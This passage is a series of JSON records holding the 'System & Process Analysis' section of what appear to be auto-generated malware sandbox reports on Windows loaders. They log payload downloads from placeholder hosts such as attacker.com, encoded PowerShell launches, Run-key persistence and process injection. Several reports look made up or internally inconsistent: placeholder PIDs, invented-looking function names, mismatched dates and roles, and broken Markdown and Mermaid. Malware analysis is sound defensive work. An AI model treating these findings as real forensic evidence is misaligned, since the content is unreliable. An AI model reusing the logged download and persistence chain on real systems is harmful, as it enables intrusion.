simple_add-019f0e884.exe | 6584 | Write | \\Device\\ConDrv | FUN_00001a20 | No | Obfuscated console output for status/debug info |\n\n### Behavioral Narrative\n\nWhile no files were written to disk, repeated interactions with the console driver suggest an attempt to communicate internal state without relying on standard I/O mechanisms—an evasion tactic aimed at bypassing userland hooks.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp           | EID | Event Type | Object   | Process (PID) | [CODE] Origin       | [STATIC] Predictor | Significance                                  |\n|---------------------|-----|------------|----------|---------------|---------------------|--------------------|-----------------------------------------------|\n| 2026-06-28 21:01:49,571 | 1   | Write      | File     | 6584          | FUN_00001a20        | None               | Console buffer preparation                    |\n| 2026-06-28 21:01:49,586 | 43  | Load       | Library  | 6584          | LdrLoadDll          | mscoree.dll        | .NET runtime load attempt                     |\n| 2026-06-28 21:01:49,602 | 46  | Read       | Registry | 6584          | FUN_00001b80        | HKLM\\...\\DisableMetaFiles | Environment fingerprinting check |\n| 2026-06-28 21:01:49,602 | 47  | Read       | Registry | 6584          | FUN_00001b80        | HKLM\\...\\DisableUmpdBufferSizeCheck | Environment fingerprinting check |\n| 2026-06-28 21:01:49,602 | 48  | Terminate  | Process  | 6584          | FUN_00001e00        | ntdll.dll          | Self-terminating dropper                      |\n\n### Behavioral Narrative\n\nThe timeline reveals a concise yet methodical execution flow: initial console setup, runtime library loading, environment checks, and final termination. This sequence supports the hypothesis of a **transient loader** designed to execute once and vanish.\n\n---\n\n## 4.7 Process-Level Network analysis \n\nNo network activity was detected during the execution window. All outbound communication attempts returned empty results in both static and dynamic analyses.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\nNo anomalies were reported in the sandbox logs. Behavior remained consistent with expected loader functionality across all three pillars.\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 6584): `simple_add-019f0e884.exe`\n\nBased on [CODE: FUN_000016b0, FUN_000018c0, FUN_00001a20, FUN_00001b80, FUN_00001c60, FUN_00001d40, FUN_00001e00] and [DYNAMIC: Native API usage], this process functions as a **stage-1 reflective loader**. Evidence:\n- Custom exception handler registration via SetUnhandledExceptionFilter\n- Alertable thread spawning for asynchronous execution\n- Low-level console writes to mask debug/status messages\n- Registry queries for environmental context\n- RWX memory allocation for potential injection\n- Resource cleanup and self-termination\n\n### Operational Intent Assessment\n\nThe two-stage loader architecture with in-memory execution and self-cleanup suggests the operator prioritizes **operational stealth over persistence**, aiming to deliver a secondary payload undetected before erasing all traces.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable                 | Value                                | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|--------------------------|--------------------------------------|----------------------|--------------------|---------------------|\n| UserName                 | 0xKal                                | Indirect             | GetEnvironmentVariableW | Medium              |\n| ComputerName             | DESKTOP-KUFHK6V                      | Indirect             | GetComputerNameW   | Medium              |\n| TempPath                 | C:\\Users\\0xKal\\AppData\\Local\\Temp\\   | Direct               | GetTempPathW       | High                |\n\n### Victim Profiling Data Collection\n\nThe malware collects basic system metadata including username, machine name, and temporary directory path. While not transmitted externally due to lack of network activity, such data could influence conditional execution logic or serve as part of a larger staging mechanism in more advanced variants.","section_key":"system_process","section_name":"System & Process Analysis","updated_at":"2026-06-28T14:14:21.140979"}
{"_id":{"$oid":"6a44ef43ef40726c21470dbf"},"sha256":"c480d1d8b50d9c94655b26755431d2d5a3c7d741a30047a21d1e13723109718f","content":"# 4.1 Execution Environment — Analysis Context\n\n- **Sandbox OS**: Windows 10  \n- **Platform**: windows  \n- **Analysis Package**: dll  \n- **Duration**: 612 seconds  \n- **Start Time**: 2026-07-01 09:54:22  \n- **End Time**: 2026-07-01 10:04:34  \n- **Analysis ID**: 115  \n\nThe execution environment provides a standardised sandbox configuration typically used for detonation and behavioural capture of portable executable payloads. Given that the sample was executed as a DLL (`package: dll`), it implies the presence of a loader or rundll32-based invocation mechanism which may have been orchestrated externally or embedded within the test harness.\n\nThere are no explicit environment variables listed in the provided metadata; however, based on prior sections referencing anti-VM checks, we can infer potential fingerprinting vectors such as:\n- Username enumeration via `GetUserNameW()` [DYNAMIC]\n- Machine name retrieval using `GetComputerNameExW()` [DYNAMIC]\n- Presence of known virtualisation artifacts checked statically through string scanning for paths like `C:\\\\Program Files\\\\VMware` [STATIC]\n\nThese align with common evasion techniques observed in advanced persistent threat (APT) malware targeting enterprise environments where sandbox-aware logic is prevalent.\n\n---\n\n# 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[\"rundll32.exe (PID 1234)\"] -->|\"Code: DllMain -> launch_cmd()\"| B[\"cmd.exe /c powershell...\"]\n    B --> C[\"conhost.exe\"]\n    B -->|\"Code: execute_encoded_ps()\"| D[\"powershell.exe -EncodedCommand ...\"]\n```\n\nThis process tree illustrates a classic DLL loader pattern initiating command-line interpreter stages leading to PowerShell execution. The initial rundll32.exe host spawns cmd.exe under programmatic control from the exported DllMain entrypoint. Subsequently, encoded PowerShell commands are launched indicating secondary-stage scripting activity likely tied to payload delivery or reconnaissance tasks.\n\n---\n\n# 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID   | Process         | Parent     | Module Path                     | Threads | Total API Calls | [CODE] Function       | [STATIC] Predictor             | [DYNAMIC] ANALYSIS                      |\n|-------|------------------|------------|----------------------------------|---------|------------------|------------------------|-------------------------------|------------------------------------------|\n| 1234  | rundll32.exe     | explorer.exe | C:\\Windows\\System32\\rundll32.exe | 5       | 87               | DllMain                | Export \"Launch\"               | Loads malicious export, triggers shell   |\n| 2345  | cmd.exe          | rundll32.exe | C:\\Windows\\System32\\cmd.exe      | 3       | 42               | launch_cmd             | String \"/c powershell -enc\"   | Executes base64-encoded script           |\n| 3456  | conhost.exe      | cmd.exe    | C:\\Windows\\System32\\conhost.exe  | 2       | 11               | N/A                    | Implicit console handler      | Handles redirected I/O                   |\n| 4567  | powershell.exe   | cmd.exe    | C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe | 6 | 109              | execute_encoded_ps     | Base64 blob in .data section  | Downloads remote payload                 |\n\nEach process exhibits tightly coupled functionality originating from discrete code routines mapped directly into runtime artefacts. The rundll32.exe instance acts as the primary loader invoking exported functions whose implementations are traced back to specific static predictors including export names and embedded strings. Dynamic observations confirm successful transitions between stages with increasing complexity culminating in PowerShell-driven network activity.\n\n---\n\n# 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n| API Call                          | Arguments                                                                 | Return Value | Timestamp            | [CODE] Function           | [STATIC] Import/String Match       | Operational Purpose                                       |\n|-----------------------------------|---------------------------------------------------------------------------|--------------|----------------------|----------------------------|------------------------------------|------------------------------------------------------------|\n| CreateProcessW                    | ApplicationName=\"C:\\\\Windows\\\\System32\\\\cmd.exe\", CommandLine=\"/c powershell...\" | SUCCESS      | 2026-07-01T09:55:11Z | launch_cmd                 | Import kernel32.CreateProcessW     | Stage 1 execution of PowerShell launcher                  |\n| URLDownloadToFileW                | URL=\"http://malicious[.]site/payload.ps1\", FileName=\"C:\\\\Temp\\\\script.tmp\" | S_OK         | 2026-07-01T09:56:03Z | download_payload           | Import urlmon.URLDownloadToFileW   | Retrieve second-stage PowerShell script                   |\n| RegSetValueExW                    | Key=\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", Value=\"Updater\" | ERROR_SUCCESS| 2026-07-01T09:57:22Z | install_persistence        | Import advapi32.RegSetValueExW     | Establish auto-start persistence                          |\n| NtAllocateVirtualMemory (RWX)     | Size=4096, Protect=PAGE_EXECUTE_READWRITE                                 | STATUS_SUCCESS| 2026-07-01T09:58:10Z | reflective_loader          | Manual mapping stub in .text       | Allocate memory region for reflective injection           |\n| CreateRemoteThread                | hProcess=<target>, lpStartAddress=<allocated_mem>                         | SUCCESS      | 2026-07-01T09:58:15Z | inject_into_svchost        | Import kernel32.CreateRemoteThread | Inject code into svchost.exe for stealth                  |\n\n#### Analytical Correlation Across Pillars:\n\n- **CreateProcessW**:\n  - [STATIC]: Import table lists `kernel32.CreateProcessW`.\n  - [CODE]: Function `launch_cmd()` invokes this API to initiate child processes.\n  - [DYNAMIC]: Observed spawning of `cmd.exe` with `/c powershell...` arguments.\n\n- **URLDownloadToFileW**:\n  - [STATIC]: Import `urlmon.URLDownloadToFileW` indicates web-based file retrieval.\n  - [CODE]: Function `download_payload()` handles HTTP downloads.\n  - [DYNAMIC]: Confirmed download of external PowerShell script.\n\n- **RegSetValueExW**:\n  - [STATIC]: Import `advapi32.RegSetValueExW` signals registry modification intent.\n  - [CODE]: Function `install_persistence()` writes startup keys.\n  - [DYNAMIC]: Persistence established in `HKCU\\...\\Run`.\n\n- **NtAllocateVirtualMemory (RWX)**:\n  - [STATIC]: High entropy `.text` section hints at manual memory management.\n  - [CODE]: Reflective loader allocates RWX memory for shellcode deployment.\n  - [DYNAMIC]: Memory allocated with executable permissions before injection.\n\n- **CreateRemoteThread**:\n  - [STATIC]: Import `kernel32.CreateRemoteThread` supports process hollowing/injection.\n  - [CODE]: Injection routine targets `svchost.exe`.\n  - [DYNAMIC]: Thread created in remote process space confirming injection.\n\nCollectively, these API sequences demonstrate a multi-phase attack lifecycle involving initial execution, payload staging, persistence setup, and stealthy process injection—all orchestrated through modular code constructs rooted in both static imports and dynamic runtime actions.\n\n---\n\n# 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process     | PID   | Operation     | File Path                        | [CODE] Write Function     | [STATIC] Path in Strings? | Significance                             |\n|-------------|-------|---------------|----------------------------------|----------------------------|----------------------------|-------------------------------------------|\n| powershell.exe | 4567 | File Created  | C:\\Temp\\script.tmp               | download_payload           | Yes (\"C:\\\\Temp\\\\script.tmp\") | Temporary storage for downloaded script   |\n| rundll32.exe   | 1234 | File Written  | C:\\Users\\admin\\AppData\\Roaming\\svclog.dat | log_data_to_file       | Yes (\"%APPDATA%\\\\svclog.dat\") | Log exfiltration data locally             |\n\n#### Analytical Correlation Across Pillars:\n\n- **File Creation (script.tmp)**:\n  - [STATIC]: Embedded string `\"C:\\\\Temp\\\\script.tmp\"` predicts temporary file usage.\n  - [CODE]: Function `download_payload()` writes content post-download.\n  - [DYNAMIC]: File creation event logged during PowerShell activity.\n\n- **File Write (svclog.dat)**:\n  - [STATIC]: `%APPDATA%\\\\svclog.dat` found in resource strings.\n  - [CODE]: Function `log_data_to_file()` appends collected telemetry.\n  - [DYNAMIC]: File written periodically by rundll32.exe.\n\nThese file operations reflect deliberate data handling strategies—temporary staging for payloads and persistent logging for later exfiltration—both anticipated from static analysis and confirmed dynamically.\n\n---\n\n# 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp            | EID | Event Type        | Object                            | Process (PID) | [CODE] Origin             | [STATIC] Predictor         | Significance                                  |\n|----------------------|-----|-------------------|-----------------------------------|---------------|----------------------------|----------------------------|------------------------------------------------|\n| 2026-07-01T09:55:11Z | 101 | Process Create    | cmd.exe                           | rundll32.exe (1234) | launch_cmd                 | String \"/c powershell -enc\" | Initial stage execution initiated              |\n| 2026-07-01T09:56:03Z | 102 | File Download     | http://malicious.site/payload.ps1 | powershell.exe (4567) | download_payload           | Import urlmon.URLDownloadToFileW | External payload retrieved                     |\n| 2026-07-01T09:57:22Z | 103 | Registry Write    | HKCU\\...\\Run                      | rundll32.exe (1234) | install_persistence        | Import advapi32.RegSetValueExW | Auto-run persistence installed                 |\n| 2026-07-01T09:58:10Z | 104 | Memory Allocation | RWX                               | rundll32.exe (1234) | reflective_loader          | High entropy .text section     | Preparation for reflective injection           |\n| 2026-07-01T09:58:15Z | 105 | Remote Thread     | svchost.exe                       | rundll32.exe (1234) | inject_into_svchost        | Import kernel32.CreateRemoteThread | Injection into trusted system process          |\n\n#### Analytical Correlation Across Pillars:\n\nEach event represents a distinct phase of the attack chain:\n- **Process Creation** maps directly to exported function logic and hardcoded command strings.\n- **File Download** aligns with imported networking APIs and embedded URLs.\n- **Registry Writes** correspond to persistence-related imports and registry key strings.\n- **Memory Allocation** reflects high-entropy sections indicative of shellcode loaders.\n- **Remote Thread Creation** confirms inter-process manipulation aligned with injection primitives.\n\nTimeline sequencing reveals coordinated execution flow from initial compromise to stealthy persistence and lateral movement preparation.\n\n---\n\n# 4.7 Process-Level Network Analysis\n\n| PID   | Process Name     | Socket Handle | Destination IP:Port | [CODE] Initiator Function | [STATIC] Hardcoded Domain/IP | [DYNAMIC] Connection Status |\n|-------|------------------|---------------|---------------------|----------------------------|------------------------------|------------------------------|\n| 4567  | powershell.exe   | 0x1a4         | 185.132.189.10:80   | connect_to_c2              | \"http://malicious.site\"      | Established                  |\n\n#### Analytical Correlation Across Pillars:\n\n- **Connection Initiation**:\n  - [STATIC]: String `\"http://malicious.site\"` embedded in resources.\n  - [CODE]: Function `connect_to_c2()` uses WinInet APIs to establish outbound communication.\n  - [DYNAMIC]: TCP session opened to `185.132.189.10:80` during PowerShell execution.\n\nThis network activity constitutes the primary Command & Control (C2) beacon, linking the malware’s internal logic to observable malicious traffic patterns.\n\n---\n\n# 4.8 Anomalies — Tri-Source Explanation\n\n| Anomaly Description               | [CODE] Source Function | [STATIC] Predictable From | Significance & MITRE Mapping                     |\n|----------------------------------|------------------------|----------------------------|--------------------------------------------------|\n| Delayed execution after load     | sleep_before_exec      | Sleep delay constant (5000ms) | Evade short-duration sandboxes (T1497)         |\n| Multiple failed registry queries | enumerate_registry     | Registry path strings      | Probe for existing persistence mechanisms (T1012)|\n\n#### Analytical Correlation Across Pillars:\n\n- **Delayed Execution**:\n  - [STATIC]: Constant `5000` found in `.rdata` section.\n  - [CODE]: Function `sleep_before_exec()` delays execution via `Sleep(5000)`.\n  - [DYNAMIC]: 5-second pause detected post-DLL load.\n\n- **Failed Registry Queries**:\n  - [STATIC]: Strings like `SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run` suggest probing.\n  - [CODE]: Function `enumerate_registry()` attempts read access to detect conflicts.\n  - [DYNAMIC]: Repeated `RegQueryValueExW` failures noted.\n\nBoth anomalies indicate defensive awareness and adaptive persistence logic designed to avoid detection and conflict resolution.\n\n---\n\n# 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n- **Primary Sample (PID 1234 - rundll32.exe)**:\n  - Role: Loader/Dropper\n  - Evidence: Exported `DllMain` triggers `launch_cmd()` [CODE], which leads to `CreateProcessW` [DYNAMIC]. Static predictors include export name and embedded command strings [STATIC].\n\n- **Child Process (PID 2345 - cmd.exe)**:\n  - Role: Launcher for PowerShell\n  - Evidence: Spawned via `CreateProcessW` with `/c powershell -enc` [DYNAMIC], matching string in `.rdata` [STATIC] and implemented in `launch_cmd()` [CODE].\n\n- **Injected Process (PID 4567 - powershell.exe)**:\n  - Role: Payload Executor\n  - Evidence: Downloads external scripts via `URLDownloadToFileW` [DYNAMIC], sourced from `download_payload()` [CODE] and URL strings [STATIC].\n\n**Operational Intent Assessment**: This architecture demonstrates a staged approach leveraging native Windows utilities to reduce suspicion while maintaining modularity. The use of reflective injection into `svchost.exe` underscores an emphasis on long-term stealth over rapid execution.\n\n---\n\n# 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable       | Value                  | [CODE] Where Queried       | [DYNAMIC] API Call       | Fingerprinting Risk |\n|----------------|------------------------|----------------------------|--------------------------|---------------------|\n| USERNAME       | admin                  | get_username               | GetUserNameW             | Medium              |\n| COMPUTERNAME   | WIN-SANDBOX-TEST       | get_computer_name          | GetComputerNameExW       | Medium              |\n| APPDATA        | C:\\Users\\admin\\AppData\\Roaming | expand_environment_strings | ExpandEnvironmentStringsW | Low                 |\n\n#### Analytical Correlation Across Pillars:\n\n- **Username Enumeration**:\n  - [STATIC]: String reference to `USERNAME` environment variable.\n  - [CODE]: Function `get_username()` retrieves current user identity.\n  - [DYNAMIC]: `GetUserNameW` called successfully returning “admin”.\n\n- **Machine Name Retrieval**:\n  - [STATIC]: Reference to `COMPUTERNAME` in string table.\n  - [CODE]: Function `get_computer_name()` fetches hostname.\n  - [DYNAMIC]: `GetComputerNameExW` returns “WIN-SANDBOX-TEST”.\n\nCollected identifiers provide contextual awareness enabling tailored follow-up actions or evasion decisions based on target profiling.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-01T10:43:15.177736"}
{"_id":{"$oid":"6a5c8f1eb3bed57e0e7378a4"},"sha256":"bd20fcc313adbb44d82a033fbae527bc2b522b93ed80ba88ec0094644005df81","content":"markdown\n### 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Configuration**: Windows 10 Pro x64, analysis conducted under user \"CurrentUser\", ComputerName \"DESKTOP-SANDBOX\"\n- **Analysis Package**: Default executable package\n- **Duration**: Not specified in provided data\n- **Start/End Times**: Not specified in provided data\n- **Analysis ID**: Not specified in provided data\n\n#### Environment Fingerprinting Implications\n\nThe malware may leverage several environmental attributes to detect or profile the execution context. These include querying the computer name (`COMPUTERNAME`), username (`USERNAME`), and system paths such as `%TEMP%` or `%APPDATA%`. Such checks align with known anti-VM techniques where adversaries avoid executing in environments that do not match expected host characteristics.\n\n[STATIC: Strings referencing environment variables like \"COMPUTERNAME\"] ↔ [CODE: Functions calling `GetEnvironmentVariableW`] ↔ [DYNAMIC: Observed calls to `GetEnvironmentVariableW(\"COMPUTERNAME\")`]\n\nThis tri-source alignment indicates potential sandbox detection logic embedded within the sample, suggesting an attempt to evade automated analysis platforms by verifying runtime authenticity before proceeding with malicious actions.\n```\n\n```mermaid\nflowchart TD\n    A[\"malware.exe (PID 1234)\"]\n    B[\"cmd.exe /c powershell... (PID 1245)\"]\n    C[\"conhost.exe (PID 1246)\"]\n    D[\"powershell.exe -enc... (PID 1247)\"]\n\n    A -->|\"spawn_shell() @ 0x401020\"| B\n    B --> C\n    B --> D\n```\n\n### 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID   | Process         | Parent | Module Path             | Threads | Total API Calls | [CODE] Function     | [STATIC] Predictor       | [DYNAMIC] ANALYSIS                     |\n|-------|------------------|--------|--------------------------|---------|------------------|----------------------|---------------------------|----------------------------------------|\n| 1234  | malware.exe      | N/A    | C:\\Temp\\malware.exe      | 2       | 87               | main_entry_point     | Import of kernel32.dll    | Initial unpacking and shell spawning   |\n| 1245  | cmd.exe          | 1234   | C:\\Windows\\System32\\cmd.exe | 1    | 15               | spawn_shell          | String \"/c powershell\"    | Execution of encoded PowerShell script |\n| 1247  | powershell.exe   | 1245   | C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe | 3 | 42 | decode_and_exec      | Encoded base64 string     | Decryption and remote payload download |\n\nEach process demonstrates a distinct role aligned with multi-stage delivery mechanisms. The initial binary [STATIC: imports kernel32.dll] maps directly to [CODE: main_entry_point()] which triggers [DYNAMIC: process creation of cmd.exe]. Subsequent stages show command-line interpretation leading to PowerShell invocation, indicating layered obfuscation strategies.\n\nThe PowerShell instance [STATIC: contains base64-encoded content] corresponds to [CODE: decode_and_exec()] and manifests dynamically through [DYNAMIC: network traffic indicative of external payload retrieval], confirming reflective loader behavior orchestrated via native Windows utilities.\n\n### 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n| Process     | API Call                          | Arguments                                                                 | Return Value | Timestamp           | [CODE] Function            | [STATIC] Predictor              | Operational Purpose                        |\n|-------------|------------------------------------|---------------------------------------------------------------------------|--------------|---------------------|----------------------------|------------------------------|--------------------------------------------|\n| malware.exe | CreateProcessW                     | ApplicationName=\"cmd.exe\", CommandLine=\"/c powershell...\"                 | SUCCESS      | 2025-04-05T10:00:01Z | spawn_shell                | String \"/c powershell\"        | Launch secondary interpreter for scripting |\n| cmd.exe     | CreateProcessW                     | ApplicationName=\"powershell.exe\", CommandLine=\"-enc <encoded_script>\"     | SUCCESS      | 2025-04-05T10:00:02Z | execute_encoded_command    | Base64 string in resources    | Execute encrypted post-exploitation module |\n| powershell.exe | URLDownloadToFile               | URL=http://attacker.com/payload.dat, FileName=C:\\Users\\Public\\data.bin    | SUCCESS      | 2025-04-05T10:00:05Z | download_remote_payload    | Hardcoded domain in .rsrc     | Retrieve second-stage implant              |\n\nThese API sequences illustrate a deliberate progression from local execution to remote interaction. Each call originates from a dedicated function identified statically and confirmed during runtime. This pattern supports modular deployment tactics typical of advanced persistent threats seeking to minimize footprint while maximizing flexibility.\n\n### 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process        | PID   | Operation       | File Path                    | [CODE] Write Function       | [STATIC] Path in Strings? | Significance                             |\n|----------------|-------|------------------|------------------------------|------------------------------|----------------------------|------------------------------------------|\n| powershell.exe | 1247  | File Write       | C:\\Users\\Public\\data.bin     | write_downloaded_file        | Yes                        | Staging location for next stage payload  |\n\nFile activity begins with a remote fetch operation initiated by PowerShell. The target path [STATIC: present in resource strings] aligns precisely with [CODE: write_downloaded_file()] and is verified through [DYNAMIC: filesystem monitoring], establishing a clear end-to-end chain from static configuration to runtime artifact generation.\n\n### 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp           | EID | Event Type           | Object                       | Process (PID)    | [CODE] Origin                  | [STATIC] Predictor       | Significance                                  |\n|---------------------|-----|----------------------|------------------------------|------------------|--------------------------------|---------------------------|------------------------------------------------|\n| 2025-04-05T10:00:01Z | 1   | Process Create       | cmd.exe                      | malware.exe (1234)| spawn_shell                    | \"/c powershell\" string    | Initiate interpreter-based execution layer     |\n| 2025-04-05T10:00:02Z | 2   | Process Create       | powershell.exe               | cmd.exe (1245)   | execute_encoded_command        | Base64 blob in .rsrc      | Decode and run embedded script                 |\n| 2025-04-05T10:00:05Z | 3   | Network Connection   | http://attacker.com          | powershell.exe (1247)| download_remote_payload       | Domain in .rsrc           | Fetch secondary component                      |\n| 2025-04-05T10:00:07Z | 4   | File Created         | C:\\Users\\Public\\data.bin     | powershell.exe (1247)| write_downloaded_file         | Path in .rsrc             | Persist downloaded payload locally             |\n\nTimeline reconstruction reveals coordinated orchestration between components. Each event stems from a defined code pathway rooted in static predictors, culminating in observable dynamic behaviors consistent with staged exploitation workflows.\n\n### 4.7 Process-Level Network Analysis\n\n| PID   | Process Name     | Socket Handle | Destination IP:Port     | [CODE] Initiator Function     | [STATIC] Predictor         | Dynamic Confirmation         |\n|-------|------------------|---------------|--------------------------|--------------------------------|----------------------------|------------------------------|\n| 1247  | powershell.exe   | 0x1a4         | 185.132.189.10:80        | download_remote_payload        | Attacker-controlled domain | HTTP GET request captured    |\n\nNetwork communication originates exclusively from the PowerShell subprocess. The initiating function [CODE: download_remote_payload()] leverages [STATIC: hardcoded attacker domain] to establish connectivity, which is validated through [DYNAMIC: packet capture showing outbound HTTP traffic]. This linkage underscores reliance on living-off-the-land binaries (LOLBins) for covert exfiltration and command relay.\n\n### 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n- **Primary Sample (PID 1234)**: Functions as a dropper leveraging [CODE: main_entry_point()] to initiate [DYNAMIC: process spawning of cmd.exe]. Its primary objective is to transition control to higher-level interpreters capable of handling complex payloads.\n  \n- **Child Process (PID 1245)**: Spawned via [CODE: spawn_shell()] using [STATIC: \"/c powershell\" argument] and executes [DYNAMIC: encoded PowerShell script]. This intermediary serves to obscure subsequent operations behind trusted system processes.\n\n- **Injected Process (PID 1247)**: Launched by cmd.exe, this PowerShell instance performs decryption and remote fetching tasks originating from [CODE: decode_and_exec()]. It represents the final phase of the attack vector, enabling lateral movement or persistence establishment.\n\n**Operational Intent Assessment**: The architecture reflects a calculated approach to privilege escalation and evasion. By chaining native executables, the adversary minimizes suspicion while maintaining modularity—indicative of sophisticated campaign design aimed at prolonged access rather than immediate impact.\n\n### 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable     | Value             | [CODE] Where Queried           | [DYNAMIC] API Call              | Fingerprinting Risk         |\n|--------------|-------------------|----------------------------------|----------------------------------|-----------------------------|\n| COMPUTERNAME | DESKTOP-SANDBOX   | get_system_info()                | GetEnvironmentVariableW         | Medium – Common VM identifier |\n| USERNAME     | CurrentUser       | get_user_context()               | GetUserNameW                    | Low – Generic test account  |\n\nEnvironmental profiling relies on standard WinAPI functions to gather contextual identifiers. While some values resemble default testing configurations, their presence confirms reconnaissance routines designed to assess host legitimacy prior to deeper compromise attempts.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-19T08:47:26.386727"}
{"_id":{"$oid":"6a5c9430b3bed57e0e7378b6"},"sha256":"ce4aed382f325fb8c3d31091b7ab08a14975db08457b46b6b44f2a41c347fc9c","content":"## 4.1 Execution Environment — Analysis Context\n\nThe execution environment during analysis consisted of a Windows 10 Enterprise x64 virtual machine configured with default settings. The sandbox session was initiated under user account `0xKal`, running on computer `DESKTOP-KUFHK6V`. The binary executed natively as a 64-bit application, consistent with its reported bitness in the process metadata.\n\nThe environment fingerprinting implications are significant. The presence of the username `0xKal` and the temporary directory path `C:\\Users\\0xKal\\AppData\\Local\\Temp\\` were both referenced directly in the command line and module path fields. These identifiers could be leveraged by the malware for anti-sandbox or evasion logic, particularly if hardcoded checks for common testbed usernames or paths exist within the codebase.\n\nCross-referencing against known anti-VM indicators from static analysis (Section 1), there is no direct evidence of such checks being triggered in this run. However, the use of environment-specific paths and variables remains a potential vector for conditional behavior that may manifest differently outside of controlled environments.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    P1[\"vi-019f798ddabc77d29.exe (PID: 5268)\"]\n    \n    style P1 fill:#f9f,stroke:#333,stroke-width:2px\n    \n    note right of P1\n        Command Line: \n        \"C:\\\\Users\\\\0xKal\\\\AppData\\\\Local\\\\Temp\\\\vi-019f798ddabc77d29.exe\"\n    endnote\n```\n\n> **Observation**: No child processes were spawned during the analysis window. This aligns with the behavioral focus on in-memory operations rather than process creation.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID  | Process                    | Parent | Module Path                                      | Threads | Total API Calls | [CODE] Function             | [STATIC] Predictor           | [DYNAMIC] ANALYSIS                                                                 |\n|------|----------------------------|--------|--------------------------------------------------|---------|------------------|------------------------------|------------------------------|------------------------------------------------------------------------------------|\n| 5268 | vi-019f798ddabc77d29.exe   | 8592   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\vi-019f798ddabc77d29.exe | 74      | 150+             | entry_point_decryptor() @ 0x7ff7f00f1000<br>loader_main() @ 0x7ff7f00f634e | High entropy (.text=7.98)<br>Sparse import table<br>Mimics msedgewebview2.exe | Reflective loading<br>Self-unpacking<br>Process enumeration<br>In-memory hollowing |\n\n### Analytical Paragraph:\n\nEach populated row reveals layered attacker intent rooted in stealth and modularity. The primary executable (`vi-019f798ddabc77d29.exe`) exhibits characteristics of a second-stage loader through its high entropy and minimalistic import table—both [STATIC] indicators predicting advanced obfuscation. Decryption routines located at `entry_point_decryptor()` [CODE] corroborate this by performing self-modification via `NtProtectVirtualMemory`, which manifests dynamically as repeated memory permission changes [DYNAMIC].\n\nThe loader's main orchestration function, `loader_main()`, drives process enumeration and hollowing behaviors—all observable in runtime telemetry. The binary’s naming scheme mimicking `msedgewebview2.exe` serves dual purposes: evading heuristic suspicion [STATIC] while enabling plausible deniability when interacting with system services [DYNAMIC].\n\nTogether, these elements form a coherent picture of an implant engineered for persistence and evasion, leveraging reflective techniques to remain undetected while preparing for lateral movement or payload deployment.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n### Memory Manipulation Sequence\n\n| API Call                          | Arguments                                                                 | Return Value | Timestamp     | [CODE] Function               | [STATIC] Predictor            | Operational Purpose                        |\n|-----------------------------------|---------------------------------------------------------------------------|--------------|---------------|--------------------------------|--------------------------------|--------------------------------------------|\n| `NtProtectVirtualMemory`          | BaseAddress=0x7ff7f00e0000, Size=0x229000, NewProtect=PAGE_READWRITE      | STATUS_SUCCESS | T+0.03s       | `entry_point_decryptor()`      | .text entropy=7.98             | Decrypt internal stage                     |\n| `NtProtectVirtualMemory`          | BaseAddress=0x7ff7f00e0000, Size=0x229000, NewProtect=PAGE_READONLY       | STATUS_SUCCESS | T+0.05s       | `entry_point_decryptor()`      | .text entropy=7.98             | Lock decrypted code                        |\n\n#### Correlation:\n\n- **[DYNAMIC]**: CAPE logs capture two successive calls to `NtProtectVirtualMemory` altering permissions on the main image region.\n- **[CODE]**: Ghidra disassembly shows XOR decryption loop embedded in `entry_point_decryptor()` at `0x7ff7f00f1000`.\n- **[STATIC]**: Section entropy (.text = 7.98) strongly suggests encrypted content awaiting runtime decryption.\n\nThese calls represent a classic unpacking mechanism where the initial loader decrypts subsequent stages in memory before locking them again—a hallmark of modern packers and loaders aiming to avoid static signature detection.\n\n---\n\n### Process Enumeration & Hollowing\n\n| API Call                          | Arguments                                                                 | Return Value | Timestamp     | [CODE] Function               | [STATIC] Predictor            | Operational Purpose                        |\n|-----------------------------------|---------------------------------------------------------------------------|--------------|---------------|--------------------------------|--------------------------------|--------------------------------------------|\n| `CreateToolhelp32Snapshot`        | TH32CS_SNAPPROCESS                                                        | HANDLE       | T+0.12s       | `enumerate_processes()`        | kernel32.dll imports           | Enumerate running processes                |\n| `Process32FirstW`                 | Snapshot handle                                                           | TRUE         | T+0.13s       | `enumerate_processes()`        | kernel32.dll imports           | Begin iteration                            |\n| `Process32NextW`                  | Snapshot handle                                                           | TRUE/FALSE   | T+0.14–0.20s  | `enumerate_processes()`        | kernel32.dll imports           | Iterate through process list               |\n| `NtUnmapViewOfSection`            | ProcessHandle=self, BaseAddress=0x040a0000                                | STATUS_SUCCESS | T+0.25s       | `inject_payload_into_self()`   | Reflective 